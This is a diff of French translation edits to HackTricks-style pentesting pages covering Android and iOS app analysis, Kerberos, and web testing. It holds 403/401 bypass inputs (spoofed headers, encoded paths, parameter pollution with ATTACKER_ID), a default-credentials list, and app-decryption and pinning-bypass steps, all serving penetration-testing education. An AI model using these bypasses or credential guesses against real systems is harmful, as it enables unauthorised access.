-Le danger réside dans le fait de permettre aux attaquants de déclencher des composants d'application non exportés ou d'accéder à des fournisseurs de contenu sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit les URL en objets `Intent` via `Intent.parseUri(...)` et les exécute ensuite, ce qui peut entraîner des injections d'Intent malveillantes.
+Le danger réside dans le fait de permettre aux attaquants de déclencher des composants d'application non exportés ou d'accéder à des fournisseurs de contenu sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit les URL en objets `Intent` via `Intent.parseUri(...)` et les exécute ensuite, ce qui peut conduire à des injections d'Intent malveillantes.
 
 ### Points Essentiels
 
@@ -502,7 +502,7 @@ Vous connaissez probablement ce type de vulnérabilités sur le Web. Vous devez
 - **Injection SQL :** Lors de la gestion de requêtes dynamiques ou de Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
 - **Injection JavaScript (XSS) :** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [Plus d'infos ici](webview-attacks.md#javascript-enabled).
 - **Inclusion de Fichiers Locaux :** Les WebViews ne devraient pas avoir accès au système de fichiers (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'infos ici](webview-attacks.md#javascript-enabled).
-- **Cookies éternels** : Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque.
+- **Cookies éternels** : Dans plusieurs cas, lorsque l'application android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque.
 - [**Drapeau Sécurisé** dans les cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
 ---
@@ -527,10 +527,10 @@ MobSF permet également d'effectuer une analyse **diff/Compare** et d'intégrer
 
 ### Analyse dynamique assistée avec MobSF
 
-**MobSF** peut également être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas, vous devrez installer MobSF et **genymotion** sur votre hôte (une VM ou Docker ne fonctionnera pas). _Remarque : Vous devez **d'abord démarrer une VM dans genymotion** puis **MobSF.**_\
+**MobSF** peut également être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas, vous devrez installer MobSF et **genymotion** sur votre hôte (une VM ou Docker ne fonctionnera pas). _Remarque : Vous devez **d'abord démarrer une VM dans genymotion** et **ensuite MobSF.**_\
 L'**analyseur dynamique MobSF** peut :
 
-- **Dump des données d'application** (URLs, journaux, presse-papiers, captures d'écran réalisées par vous, captures d'écran réalisées par "**Exported Activity Tester**", e-mails, bases de données SQLite, fichiers XML et autres fichiers créés). Tout cela se fait automatiquement sauf pour les captures d'écran, vous devez appuyer lorsque vous souhaitez une capture d'écran ou vous devez appuyer sur "**Exported Activity Tester**" pour obtenir des captures d'écran de toutes les activités exportées.
+- **Extraire les données de l'application** (URLs, journaux, presse-papiers, captures d'écran réalisées par vous, captures d'écran réalisées par "**Exported Activity Tester**", e-mails, bases de données SQLite, fichiers XML et autres fichiers créés). Tout cela se fait automatiquement sauf pour les captures d'écran, vous devez appuyer lorsque vous souhaitez une capture d'écran ou vous devez appuyer sur "**Exported Activity Tester**" pour obtenir des captures d'écran de toutes les activités exportées.
 - Capturer le **trafic HTTPS**
 - Utiliser **Frida** pour obtenir des **informations d'exécution**
 
@@ -539,9 +539,9 @@ L'**analyseur dynamique MobSF** peut :
 **Frida**
 
 Par défaut, il utilisera également certains scripts Frida pour **contourner le SSL pinning**, **la détection de root** et **la détection de débogueur** et pour **surveiller des API intéressantes**.\
-MobSF peut également **invoquer des activités exportées**, capturer des **captures d'écran** de celles-ci et **les enregistrer** pour le rapport.
+MobSF peut également **invoquer des activités exportées**, prendre des **captures d'écran** de celles-ci et **les enregistrer** pour le rapport.
 
-Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et "**Live API Monitor**" pour voir toutes les invocations aux méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
+Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et sur "**Live API Monitor**" pour voir toutes les invocations aux méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
 MobSF vous permet également de charger vos propres **scripts Frida** (pour envoyer les résultats de vos scripts Frida à MobSF, utilisez la fonction `send()`). Il dispose également de **plusieurs scripts pré-écrits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sélectionner**, d'appuyer sur "**Load**" et d'appuyer sur "**Start Instrumentation**" (vous pourrez voir les journaux de ces scripts dans "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
@@ -549,13 +549,13 @@ MobSF vous permet également de charger vos propres **scripts Frida** (pour envo
 De plus, vous avez quelques fonctionnalités auxiliaires de Frida :
 
 - **Énumérer les classes chargées** : Il imprimera toutes les classes chargées
-- **Capturer des chaînes** : Il imprimera toutes les chaînes capturées lors de l'utilisation de l'application (très bruyant)
+- **Capturer les chaînes** : Il imprimera toutes les chaînes capturées lors de l'utilisation de l'application (très bruyant)
 - **Capturer les comparaisons de chaînes** : Pourrait être très utile. Il **montrera les 2 chaînes comparées** et si le résultat était vrai ou faux.
 - **Énumérer les méthodes de classe** : Mettez le nom de la classe (comme "java.io.File") et il imprimera toutes les méthodes de la classe.
 - **Rechercher un motif de classe** : Rechercher des classes par motif
 - **Tracer les méthodes de classe** : **Tracer** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). N'oubliez pas qu'en mode par défaut, MobSF trace plusieurs méthodes d'API Android intéressantes.
 
-Une fois que vous avez sélectionné le module auxiliaire que vous souhaitez utiliser, vous devez appuyer sur "**Start Intrumentation**" et vous verrez toutes les sorties dans "**Frida Live Logs**".
+Une fois que vous avez sélectionné le module auxiliaire que vous souhaitez utiliser, vous devez appuyer sur "**Start Instrumentation**" et vous verrez toutes les sorties dans "**Frida Live Logs**".
 
 **Shell**
 
@@ -570,7 +570,7 @@ receivers
 ```
 **Outils HTTP**
 
-Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans "**Start HTTPTools**" en bas vert. À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
+Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
 Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools, sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
 Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzz les requêtes http** et rechercher des vulnérabilités.
@@ -609,7 +609,7 @@ qark --java path/to/specific/java/file.java
 - Analyse AndroidManifest.xml pour des vulnérabilités et comportements courants
 - Analyse statique du code source pour des vulnérabilités et comportements courants
 - Informations sur l'appareil
-- et plus encore
+- et plus
 ```bash
 reverse-apk relative/path/to/APP.apk
 ```
@@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ![](<../../images/image (595).png>)
 
-**MARA** est un **M**obile **A**pplication **R**everse engineering et **A**nalysis Framework. C'est un outil qui regroupe des outils d'ingénierie inverse et d'analyse d'applications mobiles couramment utilisés, pour aider à tester les applications mobiles contre les menaces de sécurité mobile OWASP. Son objectif est de rendre cette tâche plus facile et plus conviviale pour les développeurs d'applications mobiles et les professionnels de la sécurité.
+**MARA** est un **M**obile **A**pplication **R**everse engineering et **A**nalysis Framework. C'est un outil qui regroupe des outils couramment utilisés pour l'ingénierie inverse et l'analyse des applications mobiles, afin d'aider à tester les applications mobiles contre les menaces de sécurité mobile OWASP. Son objectif est de rendre cette tâche plus facile et plus conviviale pour les développeurs d'applications mobiles et les professionnels de la sécurité.
 
 Il est capable de :
 
@@ -678,7 +678,7 @@ Notez qu'en fonction du service et de la configuration que vous utilisez pour ob
 
 ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
 
-D'après [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et de supprimer les instructions inutilisées. ProGuard est un logiciel libre et est distribué sous la licence publique générale GNU, version 2.
+D'après [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et de supprimer les instructions inutilisées. ProGuard est un logiciel libre distribué sous la licence publique générale GNU, version 2.
 
 ProGuard est distribué dans le cadre du SDK Android et s'exécute lors de la construction de l'application en mode release.
 
@@ -702,11 +702,11 @@ Vous pouvez télécharger un APK obfusqué sur leur plateforme.
 
 ### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
 
-C'est un outil LLM pour trouver d'éventuelles vulnérabilités de sécurité dans les applications android et déobfusquer le code des applications android. Utilise l'API publique Gemini de Google.
+C'est un outil LLM pour trouver d'éventuelles vulnérabilités de sécurité dans les applications Android et déobfusquer le code des applications Android. Utilise l'API publique Gemini de Google.
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 
-C'est un **déobfuscateur android générique.** Simplify **exécute virtuellement une application** pour comprendre son comportement et ensuite **essaie d'optimiser le code** afin qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé.
+C'est un **déobfuscateur Android générique.** Simplify **exécute virtuellement une application** pour comprendre son comportement et ensuite **essaie d'optimiser le code** afin qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé.
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 

src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md

@@ -12,7 +12,7 @@ Pour les versions de macOS antérieures à Catalina, iTunes facilite la découve
 
 Les outils en ligne de commande offrent des méthodes alternatives pour récupérer le UDID :
 
-- **Utilisation de l'outil I/O Registry Explorer `ioreg` :**
+- **Utilisation de l'outil I/O Registry Explorer `ioreg`:**
 ```bash
 $ ioreg -p IOUSB -l | grep "USB Serial"
 ```
@@ -25,7 +25,7 @@ $ idevice_id -l
 ```bash
 $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
 ```
-- **Utiliser `instruments` pour lister les appareils :**
+- **Utilisation de `instruments` pour lister les appareils :**
 ```bash
 $ instruments -s devices
 ```
@@ -38,7 +38,7 @@ L'**SSH sur USB** devient nécessaire en l'absence de Wi-Fi, en utilisant `iprox
 $ iproxy 2222 22
 $ ssh -p 2222 root@localhost
 ```
-**Les applications de shell sur appareil**, comme NewTerm 2, facilitent l'interaction directe avec l'appareil, particulièrement utile pour le dépannage. **Des shells SSH inversés** peuvent également être établis pour un accès à distance depuis l'ordinateur hôte.
+**Les applications shell sur l'appareil**, comme NewTerm 2, facilitent l'interaction directe avec l'appareil, particulièrement utile pour le dépannage. **Les shells SSH inversés** peuvent également être établis pour un accès à distance depuis l'ordinateur hôte.
 
 ### **Réinitialisation des mots de passe oubliés**
 
@@ -56,7 +56,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
 ```
 ### **Outils d'Interface Graphique**
 
-**Utilisation d'iFunbox et d'iExplorer :** Ces outils GUI sont utiles pour gérer des fichiers sur des appareils iOS. Cependant, à partir d'iOS 8.4, Apple a restreint l'accès de ces outils au sandbox de l'application à moins que l'appareil ne soit jailbreaké.
+**Utilisation d'iFunbox et d'iExplorer :** Ces outils GUI sont utiles pour gérer des fichiers sur des appareils iOS. Cependant, à partir d'iOS 8.4, Apple a restreint l'accès de ces outils au sandbox d'application à moins que l'appareil ne soit jailbreaké.
 
 ### **Utilisation d'Objection pour la Gestion des Fichiers**
 
@@ -66,11 +66,11 @@ objection --gadget com.apple.mobilesafari explorer
 cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
 file download <filename>
 ```
-## **Obtention et Extraction des Applications**
+## **Obtention et extraction des applications**
 
-### **Acquisition du Fichier IPA**
+### **Acquisition du fichier IPA**
 
-**Lien de Distribution Over-The-Air (OTA) :** Les applications distribuées pour les tests via OTA peuvent être téléchargées à l'aide de l'outil de téléchargement d'actifs des services ITMS, qui est installé via npm et utilisé pour enregistrer le fichier IPA localement.
+**Lien de distribution Over-The-Air (OTA) :** Les applications distribuées pour les tests via OTA peuvent être téléchargées à l'aide de l'outil de téléchargement d'actifs des services ITMS, qui est installé via npm et utilisé pour enregistrer le fichier IPA localement.
 ```bash
 npm install -g itms-services
 itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
@@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
 
 ### **Processus de déchiffrement**
 
-**Aperçu du déchiffrement manuel :** Les binaires d'applications iOS sont chiffrés par Apple à l'aide de FairPlay. Pour effectuer une ingénierie inverse, il faut extraire le binaire déchiffré de la mémoire. Le processus de déchiffrement implique de vérifier le drapeau PIE, d'ajuster les drapeaux de mémoire, d'identifier la section chiffrée, puis de vider et de remplacer cette section par sa forme déchiffrée.
+**Aperçu du déchiffrement manuel :** Les binaires d'applications iOS sont chiffrés par Apple en utilisant FairPlay. Pour effectuer une ingénierie inverse, il faut extraire le binaire déchiffré de la mémoire. Le processus de déchiffrement implique de vérifier le drapeau PIE, d'ajuster les drapeaux de mémoire, d'identifier la section chiffrée, puis de vider et de remplacer cette section par sa forme déchiffrée.
 
 **Vérification et modification du drapeau PIE :**
 ```bash
@@ -92,7 +92,7 @@ otool -Vh Hello_World
 ```
 **Identification de la section chiffrée et vidage de la mémoire :**
 
-Déterminez les adresses de début et de fin de la section chiffrée en utilisant `otool` et vidangez la mémoire de l'appareil jailbreaké en utilisant gdb.
+Déterminez les adresses de début et de fin de la section chiffrée à l'aide de `otool` et vidangez la mémoire à partir de l'appareil jailbreaké en utilisant gdb.
 ```bash
 otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
 dump memory dump.bin 0x8000 0x10a4000
@@ -103,7 +103,7 @@ Remplacez la section chiffrée dans le binaire de l'application originale par le
 ```bash
 dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
 ```
-**Finalisation de la décryption :** Modifiez les métadonnées du binaire pour indiquer l'absence de cryptage en utilisant des outils comme **MachOView**, en définissant le `cryptid` à 0.
+**Finalisation de la décryption :** Modifiez les métadonnées du binaire pour indiquer l'absence de cryptage en utilisant des outils comme **MachOView**, en réglant le `cryptid` à 0.
 
 ### **Décryption (Automatiquement)**
 
@@ -119,11 +119,11 @@ Pour extraire une application spécifique, comme Telegram, la commande suivante
 ```bash
 $ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
 ```
-Cette commande initie le dump de l'application, entraînant la création d'un fichier `Telegram.ipa` dans le répertoire actuel. Ce processus est adapté aux appareils jailbreakés, car les applications non signées ou faussement signées peuvent être réinstallées à l'aide d'outils comme [**ios-deploy**](https://github.com/ios-control/ios-deploy).
+Cette commande initie le dump de l'application, ce qui entraîne la création d'un fichier `Telegram.ipa` dans le répertoire actuel. Ce processus est adapté aux appareils jailbreakés, car les applications non signées ou faussement signées peuvent être réinstallées à l'aide d'outils comme [**ios-deploy**](https://github.com/ios-control/ios-deploy).
 
 #### **flexdecrypt**
 
-L'outil [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), avec son wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permet l'extraction de fichiers IPA à partir d'applications installées. Les commandes d'installation pour **flexdecrypt** sur l'appareil incluent le téléchargement et l'installation du package `.deb`. **flexdump** peut être utilisé pour lister et dumper des applications, comme le montrent les commandes ci-dessous :
+L'outil [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), ainsi que son wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permet l'extraction de fichiers IPA à partir d'applications installées. Les commandes d'installation pour **flexdecrypt** sur l'appareil incluent le téléchargement et l'installation du package `.deb`. **flexdump** peut être utilisé pour lister et dumper des applications, comme le montrent les commandes ci-dessous :
 ```bash
 apt install zip unzip
 wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@@ -160,11 +160,11 @@ bagbak --raw Chrome
 
 Pour installer des applications spécifiques à l'iPad sur des appareils iPhone ou iPod touch, la valeur **UIDeviceFamily** dans le fichier **Info.plist** doit être changée en **1**. Cette modification nécessite cependant de re-signer le fichier IPA en raison des vérifications de validation de signature.
 
-**Remarque** : Cette méthode peut échouer si l'application exige des capacités exclusives aux modèles d'iPad plus récents tout en utilisant un ancien iPhone ou iPod touch.
+**Note** : Cette méthode peut échouer si l'application exige des capacités exclusives aux modèles d'iPad plus récents tout en utilisant un ancien iPhone ou iPod touch.
 
 ## Références
 
-- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
+- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)

src/network-services-pentesting/pentesting-kerberos-88/README.md

@@ -15,7 +15,7 @@ Après l'authentification par **Kerberos**, le processus de prise de décision c
 PORT   STATE SERVICE
 88/tcp open  kerberos-sec
 ```
-### **Pour apprendre à abuser de Kerberos, vous devriez lire le post sur** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
+### **Pour apprendre à abuser de Kerberos, vous devriez lire le post sur** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
 
 ## Plus
 
@@ -25,7 +25,7 @@ PORT   STATE SERVICE
 
 ### MS14-068
 
-La faille MS14-068 permet à un attaquant de falsifier le jeton de connexion Kerberos d'un utilisateur légitime pour revendiquer faussement des privilèges élevés, comme être un administrateur de domaine. Cette revendication contrefaite est validée par erreur par le contrôleur de domaine, permettant un accès non autorisé aux ressources réseau à travers la forêt Active Directory.
+La faille MS14-068 permet à un attaquant de manipuler le jeton de connexion Kerberos d'un utilisateur légitime pour revendiquer faussement des privilèges élevés, comme être un administrateur de domaine. Cette revendication contrefaite est validée par erreur par le contrôleur de domaine, permettant un accès non autorisé aux ressources réseau à travers la forêt Active Directory.
 
 {{#ref}}
 https://adsecurity.org/?p=541

src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

@@ -8,13 +8,13 @@ Essayez d'utiliser **différents verbes** pour accéder au fichier : `GET, HEAD,
 
 - Vérifiez les en-têtes de réponse, peut-être que certaines informations peuvent être fournies. Par exemple, une **réponse 200** à **HEAD** avec `Content-Length: 55` signifie que le **verbe HEAD peut accéder à l'info**. Mais vous devez encore trouver un moyen d'exfiltrer cette info.
 - Utiliser un en-tête HTTP comme `X-HTTP-Method-Override: PUT` peut écraser le verbe utilisé.
-- Utilisez le verbe **`TRACE`** et si vous avez beaucoup de chance, peut-être que dans la réponse, vous pouvez également voir les **en-têtes ajoutés par des proxies intermédiaires** qui pourraient être utiles.
+- Utilisez le verbe **`TRACE`** et si vous avez de la chance, peut-être que dans la réponse, vous pouvez également voir les **en-têtes ajoutés par des proxies intermédiaires** qui pourraient être utiles.
 
 ## HTTP Headers Fuzzing
 
 - **Changez l'en-tête Host** à une valeur arbitraire ([qui a fonctionné ici](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
 - Essayez de [**utiliser d'autres User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) pour accéder à la ressource.
-- **Fuzz HTTP Headers** : Essayez d'utiliser les **en-têtes HTTP**, l'authentification HTTP de base et NTLM par force brute (avec quelques combinaisons seulement) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
+- **Fuzz HTTP Headers** : Essayez d'utiliser les **en-têtes HTTP**, l'authentification HTTP de base et NTLM par brute-force (avec quelques combinaisons seulement) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -35,7 +35,7 @@ Si le **chemin est protégé**, vous pouvez essayer de contourner la protection
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-- Si la page est **derrière un proxy**, peut-être que c'est le proxy qui vous empêche d'accéder aux informations privées. Essayez d'abuser de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ou** [**des en-têtes hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
+- Si la page est **derrière un proxy**, peut-être que c'est le proxy qui vous empêche d'accéder aux informations privées. Essayez d'abuser de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **ou** [**des en-têtes hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
 - Fuzz [**des en-têtes HTTP spéciaux**](special-http-headers.md) à la recherche de différentes réponses.
 - **Fuzz des en-têtes HTTP spéciaux** tout en fuzzant **les méthodes HTTP**.
 - **Supprimez l'en-tête Host** et peut-être que vous pourrez contourner la protection.
@@ -44,8 +44,8 @@ Si le **chemin est protégé**, vous pouvez essayer de contourner la protection
 
 Si _/path_ est bloqué :
 
-- Essayez d'utiliser _**/**_**%2e/path \_(si l'accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi**\_\*\* /%252e\*\*/path (double URL encode)
-- Essayez le **bypass Unicode** : _/**%ef%bc%8f**path_ (Les caractères encodés en URL sont comme "/") donc lorsqu'ils sont réencodés, cela sera _//path_ et peut-être que vous aurez déjà contourné la vérification du nom _/path_
+- Essayez d'utiliser _**/**_**%2e/path \_(si l'accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi**\_\*\* /%252e\*\*/path (double encodage URL)
+- Essayez le **bypass Unicode** : _/**%ef%bc%8f**path_ (Les caractères encodés en URL sont comme "/") donc lorsqu'ils sont réencodés, cela deviendra _//path_ et peut-être que vous aurez déjà contourné la vérification du nom _/path_
 - **Autres contournements de chemin** :
 - site.com/secret –> HTTP 403 Forbidden
 - site.com/SECRET –> HTTP 200 OK
@@ -68,8 +68,8 @@ Si _/path_ est bloqué :
 - {“id”:\[111]} --> 200 OK
 - {“id”:111} --> 401 Unauthriozied
 - {“id”:{“id”:111\}} --> 200 OK
-- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
-- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
+- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (Pollution de paramètres JSON)
+- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Pollution de paramètres)
 
 ## **Parameter Manipulation**
 
@@ -94,7 +94,7 @@ Si vous utilisez HTTP/1.1 **essayez d'utiliser 1.0** ou même testez s'il **supp
 ## **Brute Force**
 
 - **Devinez le mot de passe** : Testez les identifiants courants suivants. Savez-vous quelque chose sur la victime ? Ou le nom du défi CTF ?
-- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Essayez l'authentification basique, digest et NTLM.
+- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Essayez l'authentification de base, digest et NTLM.
 ```:Common creds
 admin    admin
 admin    password

src/network-services-pentesting/pentesting-web/README.md

@@ -6,7 +6,7 @@
 
 Le service web est le service le plus **commun et étendu** et de nombreux **types différents de vulnérabilités** existent.
 
-**Port par défaut :** 80 (HTTP), 443 (HTTPS)
+**Port par défaut :** 80 (HTTP), 443(HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -25,7 +25,7 @@ web-api-pentesting.md
 
 ## Méthodologie résumé
 
-> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et seulement cela. Donc, vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
+> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et seulement cela. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
 
 - [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder à l'esprit pendant le reste du test si vous pouvez identifier avec succès la technologie.
 - [ ] Y a-t-il une **vulnérabilité connue** de la version de la technologie ?
@@ -35,7 +35,7 @@ web-api-pentesting.md
 - [ ] Commencez par les **vérifications initiales** : **robots**, **sitemap**, erreur **404** et **scan SSL/TLS** (si HTTPS).
 - [ ] Commencez à **spider** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres utilisés.** Vérifiez également les **découvertes spéciales**.
 - [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être spideré._
-- [ ] **Brute-Forcing de répertoire** : Essayez de brute forcer tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
+- [ ] **Brute-Forcing de répertoire** : Essayez de brute-forcer tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
 - [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être brute-forcé._
 - [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** de **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
 - [ ] **Paramètres de Brute-Force** : Essayez de **trouver des paramètres cachés**.
@@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Recherchez **des** [**vulnérabilités de l'application web** **version**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
 ### **Vérifiez si un WAF est présent**
 
@@ -69,15 +69,15 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
 - [**Artifactory**](artifactory-hacking-guide.md)
-- [**Buckets**](buckets/)
+- [**Buckets**](buckets/index.html)
 - [**CGI**](cgi.md)
-- [**Drupal**](drupal/)
+- [**Drupal**](drupal/index.html)
 - [**Flask**](flask.md)
 - [**Git**](git.md)
 - [**Golang**](golang.md)
 - [**GraphQL**](graphql.md)
-- [**H2 - Base de données SQL Java**](h2-java-sql-database.md)
-- [**Astuces IIS**](iis-internet-information-services.md)
+- [**H2 - Java SQL database**](h2-java-sql-database.md)
+- [**IIS tricks**](iis-internet-information-services.md)
 - [**JBOSS**](jboss.md)
 - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
 - [**Jira**](jira.md)
@@ -86,20 +86,20 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
 - [**Laravel**](laravel.md)
 - [**Moodle**](moodle.md)
 - [**Nginx**](nginx.md)
-- [**PHP (php a beaucoup d'astuces intéressantes qui pourraient être exploitées)**](php-tricks-esp/)
+- [**PHP (php a beaucoup d'astuces intéressantes qui pourraient être exploitées)**](php-tricks-esp/index.html)
 - [**Python**](python.md)
 - [**Spring Actuators**](spring-actuators.md)
 - [**Symphony**](symphony.md)
-- [**Tomcat**](tomcat/)
+- [**Tomcat**](tomcat/index.html)
 - [**VMWare**](vmware-esx-vcenter....md)
 - [**Web API Pentesting**](web-api-pentesting.md)
 - [**WebDav**](put-method-webdav.md)
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
-- [**Electron Desktop (XSS à RCE)**](electron-desktop-apps/)
+- [**Electron Desktop (XSS à RCE)**](electron-desktop-apps/index.html)
 
 _Tenez compte du fait que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\
-Si l'application web utilise une **tech/platform bien connue listée précédemment** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites-le moi savoir !).
